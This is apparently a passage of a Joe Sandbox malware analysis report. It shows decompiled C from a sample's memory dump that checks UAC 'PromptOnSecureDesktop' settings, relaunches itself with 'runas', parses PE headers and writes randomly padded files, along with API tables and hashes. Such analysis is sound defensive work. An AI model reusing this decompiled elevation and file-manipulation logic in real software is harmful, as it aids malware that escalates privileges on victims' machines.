											if(0xf8 >= 0x10) {
												goto L57;
											}
											_t202 = _a12;
											 *_t196 = 0x2e;
											__eflags = _t202;
											if(_t202 != 0) {
												_t136 = GetFileAttributesExA( &_v364, 0,  &_v400);
												__eflags = _t136;
												if(_t136 != 0) {
													 *_t202 = 1;
												}
											}
											_t130 = _a8;
											__eflags = _t130;
											if(_t130 != 0) {
												 *_t130 = _t166;
											}
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											__eflags = _a20;
											if(_a20 != 0) {
												E0040EF00(_a20, _v8);
											}
											_t125 = 0;
											__eflags = _v20;
											goto L34;
										} else {
											RegCloseKey(_v12);
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											 *_t196 = 0x2e;
											goto L33;
										}
									}
									RegCloseKey(_v12);
									_t96 = 0;
									goto L22;
								} else {
									RegCloseKey(_v12);
									__eflags = _a16;
									if(_a16 != 0) {
										E0040EF00(_a16,  &_v64);
									}
									L33:
									_t125 = 0;
									__eflags = _v20;
									L34:
									_t96 = (_t125 & 0xffffff00 | __eflags == 0x00000000) + 1;
									L22:
									return _t96;
								}
							}
							RegCloseKey(_v12);
							__eflags = _a16;
							if(_a16 != 0) {
								E0040EF00(_a16,  &_v64);
							}
							_t96 = 1;
							goto L22;
						}
						_t155 = E00406CAD( &_v64);
						_pop(_t167);
						__eflags = _t155;
						if(_t155 == 0) {
							L17:
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t204 = _t206 + 0xc;
							goto L18;
						}
						_t158 = E0040F1A5( &_v64);
						_t167 = _v32 ^ 0x61616161;
						__eflags = _t158 - (_v32 ^ 0x61616161);
						if(_t158 == (_v32 ^ 0x61616161)) {
							goto L23;
						}
						goto L17;
					}
					RegCloseKey(_v12); // executed
					goto L21;
				}
			}

0x00407055
0x00407058
0x0040705a
0x00407061
0x00407068
0x00407071
0x00407073
0x00407073
0x00407075
0x0040707a
0x0040707c
0x0040707c
0x0040707e
0x00407083
0x00407085
0x00407085
0x00407087
0x0040708c
0x0040708e
0x0040708e
0x004070b4
0x004070b9
0x004070c2
0x004070ca
0x004071b8
0x004071c8
0x00000000
0x004070d0
0x004070d0
0x004070d8
0x004070df
0x004070e3
0x004070e4
0x004070e9
0x004070ed
0x004070ee
0x004070f1
0x004070f2
0x004070f5
0x0040719b
0x0040719e
0x004071a9
0x00000000
0x00000000
0x004070fb
0x004070fd
0x0040716e
0x0040716e
0x0040716e
0x0040716e
0x00407174
0x0040717b
0x0040717f
0x00407180
0x00407185
0x00407189
0x0040718a
0x0040718d
0x00407194
0x00000000
0x00407194
0x004070ff
0x00407102
0x00000000
0x00000000
0x00407104
0x00407107
0x00000000
0x00000000
0x00407109
0x0040710d
0x00000000
0x00000000
0x00407123
0x00407128
0x0040712d
0x0040712f
0x0040712f
0x00407130
0x00407133
0x004071d0
0x004071f4
0x004071f7
0x004071fc
0x004071ff
0x00407203
0x00407227
0x0040722e
0x0040723e
0x0040724c
0x00407251
0x00407254
0x00407256
0x00407258
0x00407258
0x00407256
0x00407280
0x00407282
0x0040728a
0x0040728c
0x004072c2
0x004072c9
0x004072cb
0x004072e6
0x004072e8
0x004072ef
0x004072f2
0x004072f4
0x00407301
0x00407301
0x00407301
0x004072f6
0x004072fc
0x004072fc
0x00407307
0x0040730d
0x0040730f
0x00407335
0x00407336
0x00407337
0x00407338
0x00407339
0x0040733e
0x0040734b
0x0040734e
0x00407354
0x0040735b
0x0040735d
0x004073d5
0x004073d8
0x004073de
0x004073e2
0x004073eb
0x004073f1
0x004073f2
0x004073f4
0x004073f7
0x00000000
0x004073f7
0x00407362
0x00407365
0x00000000
0x00000000
0x0040736d
0x00407370
0x00000000
0x00000000
0x00407372
0x00407375
0x0040737a
0x0040737c
0x0040738d
0x00407393
0x00407395
0x00407397
0x00407397
0x00407395
0x0040739d
0x004073a0
0x004073a2
0x004073a4
0x004073a4
0x004073a6
0x004073a9
0x004073b2
0x004073b8
0x004073b9
0x004073bc
0x004073c4
0x004073ca
0x004073cb
0x004073cd
0x00000000
0x00407311
0x00407314
0x0040731a
0x0040731d
0x00407326
0x0040732c
0x0040732d
0x00000000
0x0040732d
0x0040730f
0x004072d0
0x004072d6
0x00000000
0x0040728e
0x00407291
0x00407297
0x0040729a
0x004072a3
0x004072a9
0x004072aa
0x004072aa
0x004072ac
0x004072af
0x004072b2
0x004071cb
0x004071cf
0x004071cf
0x0040728c
0x00407208
0x0040720e
0x00407212
0x0040721b
0x00407221
0x00407224
0x00000000
0x00407224
0x0040713d
0x00407142
0x00407143
0x00407145
0x0040715e
0x00407166
0x0040716b
0x00000000
0x0040716b
0x0040714b
0x00407154
0x0040715a
0x0040715c
0x00000000
0x00000000
0x00000000
0x0040715c
0x004071b2
0x00000000
0x004071b2

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000101,Ct,?,74E043E0,00000000), ref: 004070C2
RegEnumValueA.KERNEL32(Ct,00000000,?,00000020,00000000,00000000,00000000,0000012C,?,74E043E0,00000000), ref: 0040719E
RegCloseKey.KERNEL32(?,?,74E043E0,00000000), ref: 004071B2
RegCloseKey.ADVAPI32(?), ref: 00407208
RegCloseKey.ADVAPI32(?), ref: 00407291
___ascii_stricmp.LIBCMT ref: 004072C2
RegCloseKey.ADVAPI32(?), ref: 004072D0
RegCloseKey.ADVAPI32(?), ref: 00407314
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040738D
RegCloseKey.ADVAPI32(?), ref: 004073D8

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

Strings

PromptOnSecureDesktop, xrefs: 004070AE, 004070B3, 00407118, 00407165, 004071BF, 004071D9, 004071F3, 00407264, 0040727F, 0040734A
Ct, xrefs: 00407093, 0040719B, 00407096
, xrefs: 00407061

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: Close$AttributesEnumFileOpenValue___ascii_stricmplstrlen
String ID: $PromptOnSecureDesktop$Ct
API String ID: 4293430545-65454257
Opcode ID: df9fb8698735da703c9513efeb9e5005b2c7850a4ce7d3985355b06bc3c585b2
Instruction ID: 42610d5d4912e138811464987e42a56107d9bf2f6382ea6b9d81aa24fc4965e2
Opcode Fuzzy Hash: df9fb8698735da703c9513efeb9e5005b2c7850a4ce7d3985355b06bc3c585b2
Instruction Fuzzy Hash: B5B17071D08209BAEB159FA1DC45BEF77B8AB04304F20047BF501F61D1EB79AA94CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00409326, Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 284
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			E00409326(void* __ecx, void* __edx) {
				void* __ebx;
				char _t88;
				void* _t89;
				int _t92;
				int _t94;
				void* _t96;
				signed int _t97;
				signed int _t100;
				signed int _t103;
				char* _t106;
				long _t107;
				char* _t111;
				signed int _t112;
				char* _t116;
				signed int _t117;
				int _t119;
				void* _t146;
				signed int _t155;
				int _t161;
				signed int _t165;
				signed int _t167;
				void* _t168;
				void* _t170;
				void* _t172;
				void* _t173;
				void* _t175;
				void* _t176;

				_t146 = __ecx;
				_t168 = _t170 - 0x60;
				E00401910(0x19bc);
				 *(_t168 - 0x58) = 0x9c;
				if(GetVersionExA(_t168 - 0x58) == 0) {
					 *(_t168 - 0x4c) =  *(_t168 - 0x4c) & 0x00000000;
					_t9 = _t168 + 0x58;
					 *_t9 =  *(_t168 + 0x58) & 0x00000000;
					__eflags =  *_t9;
				} else {
					 *(_t168 + 0x58) = ( *(_t168 - 0x54) << 4) +  *((intOrPtr*)(_t168 - 0x50));
				}
				_t88 = GetModuleFileNameA(GetModuleHandleA(0), _t168 - 0x15c, 0x104);
				if(_t88 == 0) {
					 *(_t168 - 0x15c) = _t88;
				}
				_push( *((intOrPtr*)(_t168 + 0x70)));
				_t89 = _t168 - 0x15c;
				if( *(_t168 + 0x78) == 0) {
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8,  &E00410918, 0xbd, 0xe4, 0xc8));
					_t172 = _t170 + 0x40;
				} else {
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8, 0x4109d8, 0x4d, 0xe4, 0xc8));
					_t172 = _t170 + 0x38;
				}
				 *(_t168 + 0x78) = _t92;
				E0040EE2A(_t146, 0x4122f8, 0, 0x100);
				_t173 = _t172 + 0xc;
				if( *(_t168 + 0x58) >= 0x60 &&  *((intOrPtr*)(_t168 + 0x7c)) != 0) {
					E0040EF00(_t168 - 0x15c, E00406CC9(_t146));
					E0040EF1E(_t168 - 0x15c, E00402544(0x4122f8,  &E0041090C, 0xc, 0xe4, 0xc8));
					_push(_t168 - 0x15c);
					wsprintfA(_t168 +  *(_t168 + 0x78) - 0x95c, E00402544(0x4122f8,  &E00410888, 0x82, 0xe4, 0xc8));
					E0040EE2A(_t146, 0x4122f8, 0, 0x100);
					_t173 = _t173 + 0x50;
				}
				 *(_t168 + 0x78) =  *(_t168 + 0x78) & 0x00000000;
				_t94 = E00406EDD(); // executed
				 *(_t168 + 0x5c) = _t94;
				if( *(_t168 + 0x58) < 0x60) {
					_t165 =  *(_t168 + 0x78);
					_t161 = 0;
					__eflags = 0;
					L33:
					__eflags =  *(_t168 + 0x5c) - _t161;
					if( *(_t168 + 0x5c) == _t161) {
						L38:
						_push(_t168 - 0x95c);
						_push(_t161); // executed
						L39:
						_t96 = E004091EB(); // executed
						__eflags =  *0x412180 - _t161; // 0x0
						if(__eflags != 0) {
							 *0x412180 =  *0x412180 | _t165;
							__eflags =  *0x412180;
						}
						__eflags = _t96 - 0x2a;
						_t81 = _t96 == 0x2a;
						__eflags = _t81;
						_t97 = 0 | _t81;
						L42:
						return _t97;
					}
					_t100 = E00401820(_t168 + 0x54, _t168 + 0x78); // executed
					__eflags = _t100;
					if(_t100 != 0) {
						_push(_t168 - 0x95c);
						_push("runas");
						goto L39;
					}
					_t103 =  *(_t168 + 0x78) | 0x61080000;
					__eflags = _t103;
					 *0x412180 = _t103;
					 *0x41217c =  *(_t168 + 0x54);
					if(_t103 != 0) {
						 *0x412180 = _t103 | _t165;
					}
					L31:
					_t97 = 0;
					goto L42;
				}
				 *(_t168 + 0x4c) = 4;
				 *(_t168 + 0x44) = 5;
				 *(_t168 + 0x48) = 1;
				_t106 = E00402544(0x4122f8,  &E0041084C, 0x3a, 0xe4, 0xc8);
				_t175 = _t173 + 0x14;
				_t107 = RegOpenKeyExA(0x80000002, _t106, 0, 0x101, _t168 + 0x50); // executed
				if(_t107 == 0) {
					_t111 = E00402544(0x4122f8, 0x410830, 0x1b, 0xe4, 0xc8);
					_t176 = _t175 + 0x14;
					_t112 = RegQueryValueExA( *(_t168 + 0x50), _t111, 0, _t168 + 0x54, _t168 + 0x44, _t168 + 0x4c); // executed
					__eflags = _t112;
					if(_t112 == 0) {
						_t116 = E00402544(0x4122f8, 0x410818, 0x16, 0xe4, 0xc8);
						_t176 = _t176 + 0x14;
						_t117 = RegQueryValueExA( *(_t168 + 0x50), _t116, 0, _t168 + 0x54, _t168 + 0x48, _t168 + 0x4c); // executed
						__eflags = _t117;
						if(_t117 != 0) {
							 *(_t168 + 0x78) = 0x3000;
						}
					} else {
						 *(_t168 + 0x78) = 0x2000;
					}
					RegCloseKey( *(_t168 + 0x50)); // executed
					_t165 =  *(_t168 + 0x78);
				} else {
					_t165 = 0x1000;
				}
				_t161 = 0;
				if( *(_t168 + 0x44) != 0 ||  *(_t168 + 0x48) != 0) {
					if( *(_t168 + 0x5c) <= _t161) {
						goto L38;
					}
					_t119 =  *(_t168 - 0x4c);
					if( *(_t168 + 0x58) < 0x61 || _t119 < 0x1db0) {
						 *0x41217c = _t119;
						_t167 = _t165 | 0x61080106;
						__eflags = _t167;
						goto L30;
					} else {
						if(E0040F0E4(_t168 - 0x95c, _t168 - 0x195c, 0x800) == 0) {
							 *0x41217c = _t161;
							_t167 = _t165 | 0x61080107;
							L30:
							 *0x412180 = _t167;
							goto L31;
						}
						_t97 = E004018E0(0xc8, _t168 - 0x195c, _t168 + 0x5c, _t168 + 0x78);
						if(_t97 == _t161) {
							_t155 =  *(_t168 + 0x78) | 0x61080000;
							 *0x412180 = _t155;
							 *0x41217c =  *(_t168 + 0x5c);
							if(_t155 != 0) {
								 *0x412180 = _t155 | _t165;
							}
						}
						goto L42;
					}
				} else {
					goto L33;
				}
			}

0x00409326
0x00409327
0x00409330
0x00409339
0x00409348
0x00409358
0x0040935c
0x0040935c
0x0040935c
0x0040934a
0x00409353
0x00409353
0x00409375
0x0040937d
0x0040937f
0x0040937f
0x0040938c
0x00409394
0x004093a2
0x004093d9
0x004093dc
0x004093dd
0x004093e0
0x004093e3
0x004093e6
0x004093e9
0x004093ec
0x0040940c
0x00409412
0x004093a4
0x004093a4
0x004093a5
0x004093a8
0x004093ab
0x004093ae
0x004093b1
0x004093ce
0x004093d4
0x004093d4
0x0040941d
0x00409420
0x00409425
0x0040942c
0x00409441
0x0040945d
0x0040946b
0x0040948d
0x0040949b
0x004094a0
0x004094a0
0x004094a3
0x004094a7
0x004094b0
0x004094b3
0x0040962f
0x00409632
0x00409632
0x00409634
0x00409634
0x00409637
0x0040967b
0x00409681
0x00409682
0x00409683
0x00409683
0x0040968a
0x00409690
0x00409692
0x00409692
0x00409692
0x0040969a
0x0040969d
0x0040969d
0x004096a0
0x004096a2
0x004096a9
0x004096a9
0x00409641
0x00409648
0x0040964a
0x00409673
0x00409674
0x00000000
0x00409674
0x00409652
0x00409652
0x00409657
0x0040965c
0x00409662
0x00409666
0x00409666
0x0040962b
0x0040962b
0x00000000
0x0040962b
0x004094ce
0x004094d5
0x004094dc
0x004094e3
0x004094e8
0x004094f1
0x004094f9
0x0040951a
0x0040951f
0x00409526
0x0040952c
0x0040952e
0x00409551
0x00409556
0x0040955d
0x00409563
0x00409565
0x00409567
0x00409567
0x00409530
0x00409530
0x00409530
0x00409571
0x00409577
0x004094fb
0x004094fb
0x004094fb
0x0040957a
0x0040957f
0x0040958d
0x00000000
0x00000000
0x00409597
0x0040959a
0x0040961a
0x0040961f
0x0040961f
0x00000000
0x004095a3
0x004095c0
0x0040960c
0x00409612
0x00409625
0x00409625
0x00000000
0x00409625
0x004095d1
0x004095db
0x004095e7
0x004095ed
0x004095f3
0x004095f9
0x00409601
0x00409601
0x004095f9
0x00000000
0x004095db
0x00000000
0x00000000
0x00000000

APIs

GetVersionExA.KERNEL32(?,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409340
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 0040936E
GetModuleFileNameA.KERNEL32(00000000,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409375
wsprintfA.USER32 ref: 004093CE
wsprintfA.USER32 ref: 0040940C
wsprintfA.USER32 ref: 0040948D
RegOpenKeyExA.KERNEL32(80000002,00000000,?,?,00000000,00000101,?), ref: 004094F1
RegQueryValueExA.KERNEL32(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409526
RegCloseKey.KERNEL32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409571

Strings

Mt, xrefs: 0040936E
PromptOnSecureDesktop, xrefs: 0040938A, 0040939D, 004093BD, 004093FB, 0040941C, 0040944F, 00409478, 0040949A, 004094CD, 00409519, 00409550
runas, xrefs: 00409674

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop$runas$Mt
API String ID: 3696105349-441857510
Opcode ID: f02c357166c3b313ad7239a7b995eba94aec5ffd6a368f7d9b7db17d98fb20e2
Instruction ID: 7d6f16c0e63263610e399f3f049f45e0da260e43ae629b5557d7a5820381a87a
Opcode Fuzzy Hash: f02c357166c3b313ad7239a7b995eba94aec5ffd6a368f7d9b7db17d98fb20e2
Instruction Fuzzy Hash: 51A171B2540208BBEB21DFA1CC45FDF3BACAB44344F104437FA05E6192D7B999848FA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040675C, Relevance: 19.7, APIs: 13, Instructions: 199
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040675C(CHAR* _a4, long* _a8, long _a12) {
				long _v8;
				void* _v12;
				struct _OVERLAPPED* _v16;
				long _v20;
				struct _OVERLAPPED* _v24;
				long _v28;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v60;
				void _v68;
				long _v72;
				void _v132;
				intOrPtr _v320;
				signed int _v360;
				signed int _v374;
				void _v380;
				void* _t85;
				long _t88;
				int _t92;
				long _t93;
				int _t96;
				long _t99;
				long _t102;
				struct _OVERLAPPED* _t103;
				long _t104;
				long _t115;
				long _t120;
				signed int _t143;
				void* _t146;

				_v16 = 0;
				_v8 = 0;
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 0x80);
				}
				_t85 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 0x80, 0); // executed
				_v12 = _t85;
				if(_t85 == 0xffffffff) {
					_v12 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 4, 0);
				}
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 2);
				}
				if(_v12 != 0xffffffff) {
					_t88 = GetFileSize(_v12, 0);
					_v8 = _t88;
					if(_t88 == 0xffffffff || _t88 == 0) {
						L31:
						_v8 = 0;
					} else {
						_a12 = 0;
						_v28 = 0;
						_t92 = ReadFile(_v12,  &_v132, 0x40,  &_a12, 0); // executed
						if(_t92 == 0) {
							goto L31;
						} else {
							_t93 = SetFilePointer(_v12, _v72, 0, 0); // executed
							if(_t93 == 0xffffffff) {
								goto L31;
							} else {
								_t96 = ReadFile(_v12,  &_v380, 0xf8,  &_v28, 0); // executed
								if(_t96 == 0) {
									goto L31;
								} else {
									_t99 = SetFilePointer(_v12, (_v360 & 0x0000ffff) + _v72 + 0x18, 0, 0); // executed
									if(_t99 == 0xffffffff) {
										goto L31;
									} else {
										_v20 = 0;
										_v24 = 0;
										if(0 < _v374) {
											while(1) {
												_t115 = 0x28;
												_a12 = _t115;
												if(ReadFile(_v12,  &_v68, _t115,  &_a12, 0) == 0) {
													break;
												}
												_t143 = _v374 & 0x0000ffff;
												if(_v24 != _t143 - 1) {
													_t120 = _v48 + _v52;
												} else {
													_t120 = (_v320 + _v60 - 0x00000001 &  !(_v320 - 1)) + _v48;
												}
												_a12 = _t120;
												if(_v20 < _t120) {
													_v20 = _t120;
												}
												_v24 = _v24 + 1;
												if(_v24 < _t143) {
													continue;
												} else {
												}
												goto L23;
											}
											_v8 = 0;
										}
										L23:
										if(_v24 >= (_v374 & 0x0000ffff)) {
											_t102 = _v20;
											if(_v8 > _t102) {
												_v8 = _t102;
											}
											_t103 = E0040EBCC(_v8);
											_v16 = _t103;
											if(_t103 == 0) {
												goto L31;
											} else {
												_t104 = SetFilePointer(_v12, 0, 0, 0); // executed
												if(_t104 == 0xffffffff) {
													L30:
													_v8 = 0;
													E0040EC2E(_v16);
													_v16 = 0;
												} else {
													_t146 = _v16;
													if(ReadFile(_v12, _t146, _v8,  &_v20, 0) == 0) {
														goto L30;
													} else {
														 *(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 0x10) =  *((intOrPtr*)(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 8)) + _v320 - 0x00000001 &  !(_v320 - 1);
														_v8 = _v20;
													}
												}
											}
										}
									}
								}
							}
						}
					}
					FindCloseChangeNotification(_v12); // executed
				}
				 *_a8 = _v8;
				return _v16;
			}

0x0040676a
0x0040676d
0x00406778
0x0040677e
0x0040677e
0x0040679a
0x0040679c
0x004067a2
0x004067b2
0x004067b2
0x004067b8
0x004067bf
0x004067bf
0x004067c9
0x004067d3
0x004067d9
0x004067df
0x0040696b
0x0040696b
0x004067ed
0x00406801
0x00406804
0x00406807
0x0040680b
0x00000000
0x00406811
0x0040681f
0x00406824
0x00000000
0x0040682a
0x0040683e
0x00406842
0x00000000
0x00406848
0x0040685c
0x00406861
0x00000000
0x00406867
0x00406869
0x0040686c
0x00406876
0x00406878
0x0040687a
0x00406881
0x0040688f
0x00000000
0x00000000
0x00406891
0x0040689e
0x004068ba
0x004068a0
0x004068b2
0x004068b2
0x004068bd
0x004068c3
0x004068c5
0x004068c5
0x004068c8
0x004068ce
0x00000000
0x00000000
0x004068d0
0x00000000
0x004068ce
0x004068d2
0x004068d2
0x004068d5
0x004068df
0x004068e5
0x004068eb
0x004068ed
0x004068ed
0x004068f3
0x004068f9
0x004068fe
0x00000000
0x00406900
0x00406906
0x0040690b
0x0040695a
0x0040695d
0x00406960
0x00406966
0x0040690d
0x0040690d
0x00406920
0x00000000
0x00406922
0x0040694f
0x00406955
0x00406955
0x00406920
0x0040690b
0x004068fe
0x004068df
0x00406861
0x00406842
0x00406824
0x0040680b
0x00406971
0x00406971
0x0040697f
0x00406986

APIs

SetFileAttributesA.KERNEL32(?,00000080,?,74E043E0,00000000), ref: 0040677E
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,74E043E0,00000000), ref: 0040679A
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,74E043E0,00000000), ref: 004067B0
SetFileAttributesA.KERNEL32(?,00000002,?,74E043E0,00000000), ref: 004067BF
GetFileSize.KERNEL32(000000FF,00000000,?,74E043E0,00000000), ref: 004067D3
ReadFile.KERNEL32(000000FF,?,00000040,00408244,00000000,?,74E043E0,00000000), ref: 00406807
SetFilePointer.KERNEL32(000000FF,?,00000000,00000000,?,74E043E0,00000000), ref: 0040681F
ReadFile.KERNEL32(000000FF,?,000000F8,?,00000000,?,74E043E0,00000000), ref: 0040683E
SetFilePointer.KERNEL32(000000FF,?,00000000,00000000,?,74E043E0,00000000), ref: 0040685C
ReadFile.KERNEL32(000000FF,?,00000028,00408244,00000000,?,74E043E0,00000000), ref: 0040688B
SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000000,?,74E043E0,00000000), ref: 00406906
ReadFile.KERNEL32(000000FF,004121A8,00000000,00408244,00000000,?,74E043E0,00000000), ref: 0040691C
FindCloseChangeNotification.KERNEL32(000000FF,?,74E043E0,00000000), ref: 00406971

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: File$Read$Pointer$AttributesCreateHeap$ChangeCloseFindFreeNotificationProcessSize
String ID:
API String ID: 1400801100-0
Opcode ID: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction ID: 23622665348289c9bdc7ba1e7bdf6275147e3319f3664adf7917ee5564634b96
Opcode Fuzzy Hash: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction Fuzzy Hash: E47109B1D00219EFDB109FA5CC809EEBBB9FB04314F11457AF516B6290E7349EA2DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00406A60, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 106
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406A60(int __edx, CHAR* _a4, intOrPtr _a8, int _a12) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				void* _v12;
				long _v16;
				long _v20;
				long _v24;
				intOrPtr _v28;
				long _v32;
				void* _t31;
				int _t42;
				intOrPtr _t43;
				int _t44;
				void* _t53;
				int _t59;
				CHAR* _t68;
				void* _t69;
				int _t73;

				_t59 = __edx;
				_t68 = _a4;
				_t31 = CreateFileA(_t68, 0x40000000, 0, 0, 2, 0x80, 0); // executed
				_v12 = _t31;
				if(_t31 == 0xffffffff) {
					 *0x412180 = 0x61080101;
					 *0x41217c = GetLastError();
					__eflags = 0;
					return 0;
				}
				_v8 =  *_t68;
				_v7 = _t68[1];
				_t63 = _a12;
				_v6 = _t68[2];
				_v5 = 0;
				_t42 = GetDiskFreeSpaceA( &_v8,  &_v20,  &_v24,  &_v16,  &_v32); // executed
				if(_t42 == 0) {
					L10:
					_t43 = E00406987(0x500000, _v12, _a8, _a12, _t63); // executed
					_v28 = _t43;
					if(_t43 != 0) {
						_t44 = FindCloseChangeNotification(_v12); // executed
						__eflags = _t44;
						if(_t44 != 0) {
							L15:
							return _v28;
						}
						 *0x412180 = 0x61080103;
						 *0x41217c = GetLastError();
						CloseHandle(_v12);
						L14:
						DeleteFileA(_t68);
						goto L15;
					}
					 *0x412180 = 0x61080102;
					 *0x41217c = GetLastError();
					CloseHandle(_v12);
					goto L14;
				}
				_t53 = E0040EB0E(_v20 * _v24, 0, _v16, 0);
				_t69 = _t69 + 0x10;
				_t73 = _t59;
				if(_t73 < 0) {
					goto L10;
				}
				if(_t73 > 0 || _t53 > 0x6400000) {
					_t22 = E0040ECA5() % 0x500000 + 0xa00000; // 0xa00000
					_t63 = _t22;
					goto L10;
				} else {
					__eflags = _t59;
					if(__eflags < 0) {
						goto L10;
					}
					if(__eflags > 0) {
						L9:
						_t63 = (E0040ECA5() & 0x001fffff) + 0x300000;
						__eflags = (E0040ECA5() & 0x001fffff) + 0x300000;
						goto L10;
					}
					__eflags = _t53 - 0x3200000;
					if(_t53 <= 0x3200000) {
						goto L10;
					}
					goto L9;
				}
			}

0x00406a60
0x00406a68
0x00406a7d
0x00406a83
0x00406a89
0x00406b8c
0x00406b9c
0x00406ba1
0x00000000
0x00406ba1
0x00406a91
0x00406a97
0x00406a9e
0x00406aa1
0x00406ab8
0x00406abb
0x00406ac3
0x00406b1d
0x00406b27
0x00406b2f
0x00406b34
0x00406b5f
0x00406b61
0x00406b63
0x00406b86
0x00000000
0x00406b89
0x00406b65
0x00406b78
0x00406b7d
0x00406b7f
0x00406b80
0x00000000
0x00406b80
0x00406b36
0x00406b49
0x00406b4e
0x00000000
0x00406b4e
0x00406ad2
0x00406ad7
0x00406ada
0x00406adc
0x00000000
0x00000000
0x00406ade
0x00406af5
0x00406af5
0x00000000
0x00406afd
0x00406afd
0x00406aff
0x00000000
0x00000000
0x00406b01
0x00406b0a
0x00406b17
0x00406b17
0x00000000
0x00406b17
0x00406b03
0x00406b08
0x00000000
0x00000000
0x00000000
0x00406b08

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,74E481D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
GetDiskFreeSpaceA.KERNEL32(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
FindCloseChangeNotification.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B5F
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B6F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B7D
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80
GetLastError.KERNEL32(?,?,?,00409A60,?,?,00409E9D,?,?,?,?,?,00409E9D,?,00000022,?), ref: 00406B96

Strings

PromptOnSecureDesktop, xrefs: 00406A9D

Memory Dump Source

Source File: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.462639431.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_BE39.jbxd

Yara matches

Similarity

API ID: CloseErrorLast$FileHandle$ChangeCreateDeleteDiskFindFreeNotificationSpace
String ID: PromptOnSecureDesktop
API String ID: 1251348514-2980165447
